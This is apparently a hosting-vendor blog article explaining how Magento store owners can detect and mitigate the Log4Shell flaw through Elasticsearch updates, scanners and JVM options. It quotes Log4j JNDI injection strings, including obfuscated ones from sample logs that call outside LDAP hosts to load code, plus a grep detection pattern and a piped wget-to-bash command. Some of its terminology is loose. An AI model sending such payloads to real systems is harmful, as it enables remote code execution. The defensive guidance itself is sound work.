How Magento stores can mitigate a critical Log4Shell vulnerability

Disclaimer: This article should not be taken as professional advice. It's an attempt to gather available information in one place.

Almost every online business got a frightening surprise at the end of 2021 – Log4Shell vulnerability. This security hole is rated 0-day, which means the highest severity since it gives the cybercriminals a tool to execute code remotely. Furthermore, it is rated 10 out of 10 by the vulnerability scoring system (CVSS). The Canadian Revenue Agency even proactively took their servers offline to protect them from Log4Shell. So, what is Log4Shell and how does it affect Magento?

1. What is Log4Shell
2. Magento, Elasticsearch and the Log4j
3. Check if outdated Log4J is installed on your server
4. How to check for Log4Shell exploitation attempts
5. How to mitigate the Log4Shell
6. Summary

What is Log4Shell

The Log4Shell vulnerability, also called LogJam, relates to the Log4j library. It is a tool for logging Java applications, which is part of the general Apache Logging Project.

Java is currently used by millions of applications and Log4j is typically a tool for logging errors in those applications. The list of the software developers utilizing this library is huge and includes the biggest companies.

Log4Shell is already in use

Log4Shell brings great consequences by allowing remote code execution, and this vulnerability is easy to use.

An attacker only needs to send a special string ${jndi:ldap://example.com/a} to log, so that Log4j processor opens the path of external code loading and execution using the function message lookup substitution, which this library contains.

All Log4j versions between 2.0 and 2.14.1 are vulnerable to Log4Shell.

Cybercriminals actively use the vulnerability to embed cryptocurrency miners on servers and turn the server into part of the Muhstik and Mirai botnets.

The developers of Log4j have released the 2.16.0 version, which by default disables the JDNI function used by the vulnerability, and completely removes the message lookup function.

Update 21-12-2021: Version Log4j 2.16.0 is affected by newly discovered vulnerability that allows organising Denial-of-Service attack (DoS). Update to Log4 to mitigate this security hole in your store.

Magento, Elasticsearch and the Log4j

Even though Magento is developed on PHP and does not use Java, it requires some Java services, such as ElasticSearch or Solr.

Starting with Magento 2.4, ElasticSearch is a default search engine. However, if it's outdated, it can make your server vulnerable and lead to remote code execution if ElasticSearch 5.x is used. The ElasticSearch 7.x and 6.x utilize Java Security Manager and are not vulnerable to remote code execution, but these versions may leak data in case of a Log4Shell attack.

Check if outdated Log4J is installed on your server

Find out which Java applications on your server use the Log4J library using a log4j_checker_beta script.

Connect to the server and run the command in the terminal:

wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q -O - | bash

The vulnerable components found will be enlisted in its output:

You may also use a log4j-detector tool.

This tool does not scan directories and files that the current user does not have permission to read. It also ignores symlinks. As of 14 December 2021, both cases say nothing about skipped files. Monitor updates to get the version that reports skipped content.

Alternatively, use log4shell by Lunasec.

SanSec states that if the server uses vulnerable Java components, there is a high probability that the server has already been compromised. They advise checking the server for malware with a server-side scanner.

In the meantime, try using Adobe Security Scan online malware scanner for signs of malicious activity in your store.

How to check for Log4Shell exploitation attempts

Run through the logs of the server in search of signs for the Log4Shell exploitation attempts. Search for lines with {jndi:(ldap parts. Check the server logs for these parts with command sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log/

Additionally, check the other available logs for suspicious lines and IP addresses. For example, here is how the Apache log file that contains multiple log4j malicious requests may look like:

[11/Dec/2021:01:13:20 +0100] "GET / HTTP/1.1" 200 57872 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://log4j.bin${upper:a}ryedge.io:80/callback}" ${jndi:ldap://1.2.3.4:1234/Basic/Command/Base64/BASE64CODE=}
[12/Dec/2021:06:24:51 +0100] "GET /?x=${jndi:ldap://1.2.3.4:1234/Basic/Command/Base64/BASE64CODE=} HTTP/1.1" 200 57835 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://1.2.3.4:123/Basic/Command/Base64/BASE64CODE=}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/BASE64CODE=}"
[10/Dec/2021:21:01:46 +0100] "GET / HTTP/1.1" 200 57872 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"

How to mitigate the Log4Shell

Many Log4Shell vulnerable components have already been updated. So, just install the recent security updates on your server.

ElasticSearch has updated to versions 7.16.1 and 6.8.21, which mitigate the vulnerability.

If you cannot upgrade immediately, do the following:

• for ElasticSearch begore 7.16.1 or 6.8.21, set the
  -Dlog4j2.formatMsgNoLookups=true in the Java Virtual Machine.
• for Elasticsearch below 6.4.0 or below 5.6.1 set the Java Virtual Machine option log4j2.formatMsgNoLookups=true.

When applying Java Virtual Machine options avoid editing /etc/elasticsearch/jvm.options to keep the changes when ElasticSearch updates. Set the changes in /etc/elasticsearch/jvm.options.d/log4j2.options file.

Read on how to set up Java options for ElasticSearch.

Restart the ElasticSearch service to load the changes.

Update 21-12-2021;This method, as it was investigated later, does not protect against newly introduced in Log4j 2.15 vulnerability CVE-2021-45046. Update to the latest Log4j ver to mitigate this threat.

Users of Fastly can deploy a VCL to block possible data exchange via Log4j vulnerability.

Summary

The Log4Shell vulnerability is very dangerous not only because of the remote code execution functionality it provides. A significant aspect of the threat is how easily it can be used. There is a reasonable suggestion of emerging a Log4Shell worm, capable of infecting thousands of servers in mere days.

Since the vulnerability is already being exploited, devote extra efforts to checking for any sign of malware on your server.

Deploy firewall rules specific to log4j, and, of course, update all vulnerable components.